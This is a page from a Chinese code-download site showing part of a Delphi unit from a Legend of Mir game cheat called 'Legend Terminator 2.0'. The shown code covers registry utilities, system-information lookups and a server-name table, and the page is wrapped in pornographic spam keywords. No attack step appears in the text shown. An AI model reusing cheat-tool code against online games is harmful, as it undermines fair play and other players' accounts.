亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? unit2.~pas

?? 傳奇 外掛 原代碼,供感興趣的人研究. 傳奇終結者2.0
?? ~PAS
?? 第 1 頁 / 共 2 頁
字號:
unit Unit2;

interface
Uses
Windows,SysUtils,Registry,classes;

procedure AddValue(Root:HKEY;StrPath:String;YN:Boolean;StrValue:String;Strdata:String;DataType:integer);
procedure DelValue(Root:HKEY;StrPath:String;StrValue:String);
procedure DelSub(Root:HKEY;StrPath:String;StrSub:String);
function ReadValue(Root:HKEY;StrPath:String;StrValue:String):String;
function ValueExists(Root:HKEY;StrPath:String;StrValue:String):Boolean;
function KeyExists(Root:HKEY;StrPath:String;StrSub:String):Boolean;
procedure GetValueName(Root:HKEY;StrPath:String;var SL:TStringList);
procedure GetKeyName(Root:HKEY;StrPath:String;var SL:TStringList);
procedure Delreject(Root:HKEY;StrPath:String;n:integer);
procedure Delrepeat(Root:HKEY;StrPath:String);
function myGetComputerName:String;
function GetWP:string;
function GetWSP:String;
function GetServerName(Logo:String;Y:integer):String;
function EncodeString(Decoded:string):String;
function EncodeBASE64(Encoded: TMemoryStream ; Decoded: TMemoryStream): Integer;
var
Reg:Tregistry;

implementation
uses Unit1;

//添加鍵值
procedure AddValue(Root:HKEY;StrPath:String;YN:Boolean;StrValue:String;StrData:String;DataType:integer);
Var I:Integer;
begin
Reg:=Tregistry.Create;
reg.RootKey:=Root;
if reg.OpenKey(Strpath,YN) then
Begin
case DataType of
1:reg.WriteString(StrValue,StrData);
3:reg.WriteInteger(StrValue,strtoint(StrData));
4:
begin
I:=strtoint(StrData);
reg.WriteBinaryData(StrValue,I,SizeOf(Integer));
end;
end;
end;
Reg.CloseKey;
Reg.Free;
end;

//刪除健值
procedure DelValue(Root:HKEY;StrPath:String;StrValue:String);
begin
Reg:=Tregistry.Create;
Reg.RootKey:=Root;
if reg.OpenKey(StrPath,False) then reg.DeleteValue(StrValue);
Reg.CloseKey;
Reg.Free;
end;

//讀取鍵值
function ReadValue(Root:HKEY;StrPath:String;StrValue:String):String;
var i:integer;
begin
Reg:=Tregistry.Create;
Reg.RootKey:=Root;
if reg.OpenKey(StrPath,False) and reg.ValueExists(StrValue) then
begin
case reg.GetDataType(StrValue) of
rdString:ReadValue:=reg.ReadString(StrValue);
rdInteger:ReadValue:=inttostr(reg.ReadInteger(StrValue));
rdBinary:
begin
reg.ReadBinaryData(StrValue,I,sizeof(i));
ReadValue:=inttostr(i);
end;
end;
end;
Reg.CloseKey;
Reg.Free;
end;

//檢測鍵值是否存在
function ValueExists(Root:HKEY;StrPath:String;StrValue:String):Boolean;
begin
reg:=Tregistry.Create;
reg.RootKey:=Root;
if (reg.OpenKey(StrPath,False)) and (reg.ValueExists(StrValue)) then
Result:=True
else
Result:=False;
reg.CloseKey;
reg.Free;
end;

//檢測主鍵是否存在
function KeyExists(Root:HKEY;StrPath:String;StrSub:String):Boolean;
begin
reg:=Tregistry.Create;
reg.RootKey:=Root;
if (reg.OpenKey(StrPath,False)) and (reg.KeyExists(StrSub)) then
Result:=True
else
Result:=False;
reg.CloseKey;
reg.Free
end;

//刪除主鍵
procedure DelSub(Root:HKEY;StrPath:String;StrSub:String);
begin
reg:=Tregistry.Create;
reg.RootKey:=Root;
if reg.OpenKey(StrPath,False) then reg.DeleteKey(StrSub);
reg.CloseKey;
reg.Free;
end;

//枚舉鍵值
procedure GetValueName(Root:HKEY;StrPath:String;var SL:TStringList);
begin
reg:=Tregistry.Create;
reg.RootKey:=Root;
if reg.OpenKey(StrPath,False) then reg.GetValueNames(SL);
reg.CloseKey;
reg.Free;
end;

//枚舉主鍵
procedure GetKeyName(Root:HKEY;StrPath:String;var SL:TStringList);
begin
reg:=Tregistry.Create;
reg.RootKey:=Root;
if reg.OpenKey(StrPath,False) then Reg.GetKeyNames(SL);
Reg.CloseKey;
reg.Free;
end;

//刪除不合法的記錄
procedure Delreject(Root:HKEY;StrPath:String;n:integer);
var Temp,Sub:TStringList;
    i,t:integer;
begin
 Temp:=TStringList.Create;
 Sub:=TStringList.Create;
 Getkeyname(Root,StrPath,Sub);
 if Sub.Count<>0 then begin
   for i:=0 to sub.Count-1 do begin

    if readvalue(Root,StrPath+'\'+Sub[i],'區域')='abcdefghijklmnopqrstuvwxyz1234567890' then delvalue(Root,StrPath+'\'+Sub[i],'區域');
    getvaluename(Root,StrPath+'\'+Sub[i],Temp);
    for t:=0 to Temp.Count-1 do begin
     if readvalue(Root,StrPath+'\'+Sub[i],Temp[t])='' then Delvalue(Root,StrPath+'\'+Sub[i],Temp[t]);
    end;

    Temp.Clear;
    getvaluename(Root,StrPath+'\'+Sub[i],Temp);
    if Temp.Count<n then Delsub(Root,StrPath,Sub[i]);
    Temp.Clear;
   end;
 end;
 Temp.Free;
 Sub.Free;
End;

//刪除重復的記錄
procedure Delrepeat(Root:HKEY;StrPath:String);
var Temp,Sub,Bj1,Bj2:TStringList;
    i,j,t:integer;
begin
 Temp:=TStringList.Create;
 Sub:=TStringList.Create;
 Bj1:=TStringList.Create;
 Bj2:=TStringList.Create;

 Getkeyname(Root,StrPath,Sub);
 if sub.Count>=2 then begin
   for i:=0 to sub.Count-2 do begin
    getvaluename(Root,StrPath+'\'+sub[i],Temp);
    for t:=0 to Temp.Count-1 do begin
     Bj1.Add(ReadValue(Root,StrPath+'\'+sub[i],Temp[t]));
    end;
    Temp.Clear;
    for j:=i+1 to sub.Count-1 do begin
     getvaluename(Root,StrPath+'\'+sub[j],Temp);
     for t:=0 to Temp.Count-1 do begin
      Bj2.Add(ReadValue(Root,StrPath+'\'+sub[j],Temp[t]));
     end;
     if Bj1.Text=Bj2.Text then Delsub(Root,StrPath,sub[j]);
     Temp.Clear;
     bj2.Clear;
    end;
    bj1.Clear;
   end;
 end;
Temp.Free;Sub.Free;bj1.Free;bj2.Free;
End;

//取得計算機的名字
function myGetComputerName:String;
var pcComputer:PChar;
    dwCSize:DWORD;
begin
 dwCSize:=MAX_COMPUTERNAME_LENGTH+1;
 GetMem(pcComputer,dwCSize);
 try
  if GetComputerName(pcComputer,dwCSize) then Result:=pcComputer;
 finally
  FreeMem(pcComputer);
 end;
end;

//獲取Windows目錄
function GetWP:string;
var Buf:array[0..MAX_PATH] of char;
begin
GetWindowsDirectory(Buf,MAX_PATH);
Result:=Buf;
if Result[Length(Result)]<>'\' then Result:=Result+'\';
end;

//獲取Windowssystem目錄
function GetWSP:String;
var Buf:array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf,MAX_PATH);
Result:=Buf;
if Result[Length(Result)]<>'\' then Result:=Result+'\';
end;


//獲取服務器名稱
function GetServerName(Logo:String;Y:integer):String;
begin
if (Logo='傳 奇 一 區') or (Logo='傳奇九區(一區轉檔)') then begin
 if (y>141) and (y<183) then result:='雷霆(上海)' else
 if (y>183) and (y<225) then result:='光芒(上海)' else
 if (y>225) and (y<267) then result:='烈焰(上海)' else
 if (y>267) and (y<309) then result:='疾風(北京)' else
 if (y>309) and (y<351) then result:='新浪(北京)' else
 if (y>351) and (y<393) then result:='流云(廣州)' else
 if (y>393) and (y<435) then result:='聯通(南京)' else
 if (y>435) and (y<477) then result:='蜀山(成都)' else result:='未知';
end
else
if (Logo='傳 奇 二 區') or (Logo='傳奇十區(二區轉檔)') then begin
 if (y>141) and (y<183) then result:='雷霆(上海)' else
 if (y>183) and (y<225) then result:='光芒(上海)' else
 if (y>225) and (y<267) then result:='烈焰(上海)' else
 if (y>267) and (y<309) then result:='雷霆二(上海)' else
 if (y>309) and (y<351) then result:='渝州(重慶)' else
 if (y>351) and (y<393) then result:='峨嵋(成都)' else
 if (y>393) and (y<435) then result:='海鼎(新浪)' else
 if (y>435) and (y<477) then result:='網通(上海)' else result:='未知';
end
else
if (Logo='傳 奇 三 區') or (Logo='傳奇八區(三區轉檔)') or (Logo='英雄之門(三區轉檔)') then begin
 if (y>141) and (y<183) then result:='飛鴻(廣東)' else
 if (y>183) and (y<225) then result:='新月(流云)' else
 if (y>225) and (y<267) then result:='雄獅(新浪)' else
 if (y>267) and (y<309) then result:='天府(成都)' else
 if (y>309) and (y<351) then result:='天堂(杭州)' else
 if (y>351) and (y<393) then result:='雷霆二(上海)' else
 if (y>393) and (y<435) then result:='光芒二(上海)' else
 if (y>435) and (y<477) then result:='烈焰二(上海)' else result:='未知';
end
else
if (Logo='天空·傳奇(四區)') or (Logo='王者大陸(四區轉檔)') then begin
 if (y>141) and (y<183) then result:='歸谷(上海)' else
 if (y>183) and (y<225) then result:='天涯(上海)' else
 if (y>225) and (y<267) then result:='清風(上海)' else
 if (y>267) and (y<309) then result:='落霞(上海)' else
 if (y>309) and (y<351) then result:='歸谷二(上海)' else
 if (y>351) and (y<393) then result:='天涯二(上海)' else
 if (y>393) and (y<435) then result:='清風二(上海)' else
 if (y>435) and (y<477) then result:='落霞二(上海)' else result:='未知';
end
else
if (Logo='傳 奇 五 區') or (Logo='傳奇四十區(五區轉檔)') then begin
 if (y>141) and (y<183) then result:='浩然(上海)' else
 if (y>183) and (y<225) then result:='天地(上海)' else
 if (y>225) and (y<267) then result:='正氣(上海)' else
 if (y>267) and (y<309) then result:='長存(上海)' else
 if (y>309) and (y<351) then result:='浩然二(上海)' else
 if (y>351) and (y<393) then result:='天地二(上海)' else
 if (y>393) and (y<435) then result:='正氣二(上海)' else
 if (y>435) and (y<477) then result:='長存二(上海)' else result:='未知';
end
else
if Logo='傳 奇 六 區' then begin
 if (y>141) and (y<183) then result:='三峽(聯通)' else
 if (y>183) and (y<225) then result:='青城(成都)' else
 if (y>225) and (y<267) then result:='滇池(昆明)' else
 if (y>267) and (y<309) then result:='長白(東北)' else
 if (y>309) and (y<351) then result:='三峽二(聯通)' else
 if (y>351) and (y<393) then result:='青城二(成都)' else
 if (y>393) and (y<435) then result:='滇池二(昆明)' else
 if (y>435) and (y<477) then result:='長白二(東北)' else result:='未知';
end
else
if Logo='傳 奇 七 區' then begin
 if (y>141) and (y<183) then result:='奇跡(上海)' else
 if (y>183) and (y<225) then result:='長寬(武漢)' else
 if (y>225) and (y<267) then result:='流星(上海)' else
 if (y>267) and (y<309) then result:='皓月(上海)' else
 if (y>309) and (y<351) then result:='奇跡二(上海)' else
 if (y>351) and (y<393) then result:='皓月二(上海)' else
 if (y>393) and (y<435) then result:='長寬二(上海)' else
 if (y>435) and (y<477) then result:='流星二(上海)' else result:='未知';
end
else
if Logo='經典之國(11區)' then begin
 if (y>141) and (y<183) then result:='西游(上海)' else
 if (y>183) and (y<225) then result:='三國(上海)' else
 if (y>225) and (y<267) then result:='水滸(上海)' else
 if (y>267) and (y<309) then result:='紅樓(上海)' else
 if (y>309) and (y<351) then result:='封神(上海)' else
 if (y>351) and (y<393) then result:='聊齋(上海)' else
 if (y>393) and (y<435) then result:='春秋(上海)' else
 if (y>435) and (y<477) then result:='戰國(上海)' else result:='未知';
end
else
if Logo='西部圣域(12區)' then begin
 if (y>141) and (y<183) then result:='華山(敦煌轉檔)' else
 if (y>183) and (y<225) then result:='雪域(九寨轉檔)' else
 if (y>225) and (y<267) then result:='敦煌(天府)' else
 if (y>267) and (y<309) then result:='九寨(天府)' else
 if (y>309) and (y<351) then result:='天山(天府)' else
 if (y>351) and (y<393) then result:='版納(天府)' else
 if (y>393) and (y<435) then result:='劍門(天府)' else
 if (y>435) and (y<477) then result:='嘉峪(天府)' else result:='未知';
end
else
if Logo='移動天下(15區)' then begin
 if (y>246) and (y<288) then result:='華夏(移動)' else
 if (y>288) and (y<330) then result:='神州(移動)' else
 if (y>330) and (y<372) then result:='四海(移動)' else result:='未知';
end
else
if Logo='俠骨丹心(16區)' then begin
 if (y>267) and (y<309) then result:='楚天(聯通)' else
 if (y>309) and (y<351) then result:='秦嶺(聯通)' else result:='未知';
end
else
if Logo='風云專區(17區)' then begin
 if (y>225) and (y<267) then result:='奔騰(光通)' else
 if (y>267) and (y<309) then result:='海清(光通)' else
 if (y>309) and (y<351) then result:='天河(NEW!光通)' else
 if (y>351) and (y<393) then result:='白云山(NEW!光通)' else result:='未知';
end
else
if Logo='赤月·廣電星空(18區)' then begin
 if (y>225) and (y<267) then result:='辟地(新版)' else
 if (y>267) and (y<309) then result:='開天(新版)' else
 if (y>309) and (y<351) then result:='霸業(新版)' else
 if (y>351) and (y<393) then result:='輝煌(新版)' else result:='未知';
end
else
if Logo='西部圣域II(19區)' then begin
 if (y>225) and (y<267) then result:='昆侖(天府)' else
 if (y>267) and (y<309) then result:='龍門(天府)' else
 if (y>309) and (y<351) then result:='蒼山(天府)' else
 if (y>351) and (y<393) then result:='古城(天府)' else result:='未知';
end
else
if Logo='光明世界(20區)' then begin
 if (y>225) and (y<267) then result:='晴空' else

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
在线观看欧美黄色| 日韩欧美国产电影| 国内成人免费视频| 亚洲欧美另类综合偷拍| 欧美哺乳videos| 色综合天天综合狠狠| 韩国毛片一区二区三区| 亚洲宅男天堂在线观看无病毒| 精品成人一区二区| 欧美日本乱大交xxxxx| 成人午夜在线播放| 久久丁香综合五月国产三级网站| 中文字幕一区二区三区在线不卡| 精品捆绑美女sm三区| 欧美日韩一区高清| 91理论电影在线观看| 国产成人在线影院 | 亚洲电影你懂得| 最新成人av在线| 久久夜色精品国产噜噜av| 91精品午夜视频| 欧美色图在线观看| 欧美性猛交xxxxxx富婆| 91在线观看成人| 成人免费视频app| 国产一区二区三区高清播放| 日韩成人精品在线观看| 性久久久久久久| 亚洲成人av免费| 亚洲一区视频在线观看视频| 亚洲精品国产无套在线观| 国产日本欧美一区二区| 久久久www免费人成精品| 欧美成人猛片aaaaaaa| 日韩欧美一级二级三级| 欧美一三区三区四区免费在线看| 欧美精品粉嫩高潮一区二区| 欧美视频在线一区二区三区 | 国产电影精品久久禁18| 韩国精品久久久| 国产精品一区在线观看乱码| 国精产品一区一区三区mba桃花 | 亚洲在线视频一区| 亚洲黄色免费电影| 一区二区久久久久久| 一区二区三区日韩在线观看| 亚洲激情在线播放| 一区二区三区成人在线视频| 亚洲综合在线电影| 天堂va蜜桃一区二区三区漫画版| 丝袜美腿亚洲综合| 久久99精品国产麻豆婷婷洗澡| 国产资源在线一区| 福利电影一区二区三区| aa级大片欧美| 色噜噜狠狠成人网p站| 色欧美88888久久久久久影院| 91免费版在线看| 欧美在线观看视频在线| 欧美疯狂做受xxxx富婆| 日韩免费在线观看| 久久蜜桃一区二区| 中文字幕在线一区免费| 亚洲影视资源网| 久久99国产精品成人| 不卡一区二区三区四区| 欧美做爰猛烈大尺度电影无法无天| 欧美人成免费网站| 久久欧美一区二区| 亚洲精品乱码久久久久久久久| 天天综合网天天综合色| 九九精品一区二区| 97久久精品人人做人人爽50路| 欧美日免费三级在线| 精品国产一区二区三区不卡| 国产精品国产三级国产有无不卡 | 欧美日韩国产首页| 337p粉嫩大胆噜噜噜噜噜91av | 国产成a人亚洲| 在线观看日韩精品| 欧美精品一区二区三区四区| 一区二区中文视频| 蜜桃视频一区二区| 91免费观看视频在线| 日韩欧美一区在线| 亚洲美女在线国产| 国产一区在线观看麻豆| 在线免费观看日本欧美| 日韩女优制服丝袜电影| 亚洲色图在线看| 国产自产2019最新不卡| 欧美三级欧美一级| 国产精品剧情在线亚洲| 蜜臀a∨国产成人精品| 91年精品国产| 26uuu精品一区二区| 一区二区三区在线看| 国产精一品亚洲二区在线视频| 欧美色成人综合| 中文字幕第一区| 激情偷乱视频一区二区三区| 欧美日韩免费观看一区三区| 国产精品毛片a∨一区二区三区| 久久国产欧美日韩精品| 欧美人狂配大交3d怪物一区| 综合久久一区二区三区| 国产成人亚洲综合a∨婷婷| 91精品国产aⅴ一区二区| 一区二区久久久久| av午夜精品一区二区三区| 久久香蕉国产线看观看99| 日韩国产精品大片| 在线国产电影不卡| 亚洲人成电影网站色mp4| 国产一区二区久久| 日本不卡高清视频| 欧美性xxxxxx少妇| 国产精品天天看| 精品一区二区日韩| 欧美精品自拍偷拍| 亚洲国产cao| 在线观看日产精品| 亚洲柠檬福利资源导航| 成人免费视频视频在线观看免费| 久久久综合激的五月天| 久久成人免费网| 欧美一卡2卡3卡4卡| 午夜av电影一区| 欧美精品日日鲁夜夜添| 婷婷丁香激情综合| 欧美理论在线播放| 午夜欧美在线一二页| 欧美午夜一区二区| 五月天久久比比资源色| 欧美丝袜自拍制服另类| 午夜久久久久久久久久一区二区| 欧美亚日韩国产aⅴ精品中极品| 悠悠色在线精品| 欧美日韩国产综合一区二区| 亚洲高清免费在线| 91精品久久久久久蜜臀| 麻豆国产一区二区| 久久久www成人免费无遮挡大片| 国产精品一区二区久久不卡 | 国产精品美女视频| 99精品久久只有精品| 亚洲色图欧美偷拍| 欧美伊人精品成人久久综合97| 一区二区在线观看视频| 欧美日韩日日摸| 久久99精品国产.久久久久 | 亚洲成人一区在线| 欧美男同性恋视频网站| 美女久久久精品| 中国av一区二区三区| 色先锋aa成人| 天堂av在线一区| 久久这里只精品最新地址| 岛国精品一区二区| 亚洲宅男天堂在线观看无病毒| 欧美乱熟臀69xxxxxx| 国精产品一区一区三区mba视频| 久久久无码精品亚洲日韩按摩| 国产91精品一区二区| 亚洲精品国产精品乱码不99| 51精品国自产在线| 国产麻豆精品在线| 亚洲精品中文在线影院| 91麻豆精品国产91久久久久久久久| 久久99精品国产麻豆婷婷| 国产精品乱码妇女bbbb| 欧美调教femdomvk| 激情偷乱视频一区二区三区| 一色桃子久久精品亚洲| 7799精品视频| 成人av影视在线观看| 亚洲电影一区二区三区| 久久网站最新地址| 欧美系列亚洲系列| 国产精选一区二区三区| 一区二区高清在线| 久久久99久久| 欧美无砖专区一中文字| 国产成人丝袜美腿| 偷拍日韩校园综合在线| 国产日产欧美精品一区二区三区| 欧美丝袜自拍制服另类| 国产999精品久久久久久绿帽| 亚洲国产精品久久久久婷婷884 | 国产无遮挡一区二区三区毛片日本| 日本精品一区二区三区高清| 狠狠色综合播放一区二区| 亚洲一区二区三区视频在线| 欧美r级在线观看| 欧美一a一片一级一片| 成人福利电影精品一区二区在线观看 | 在线免费观看日本欧美| 国产电影一区二区三区| 人人爽香蕉精品| 亚洲国产精品久久不卡毛片|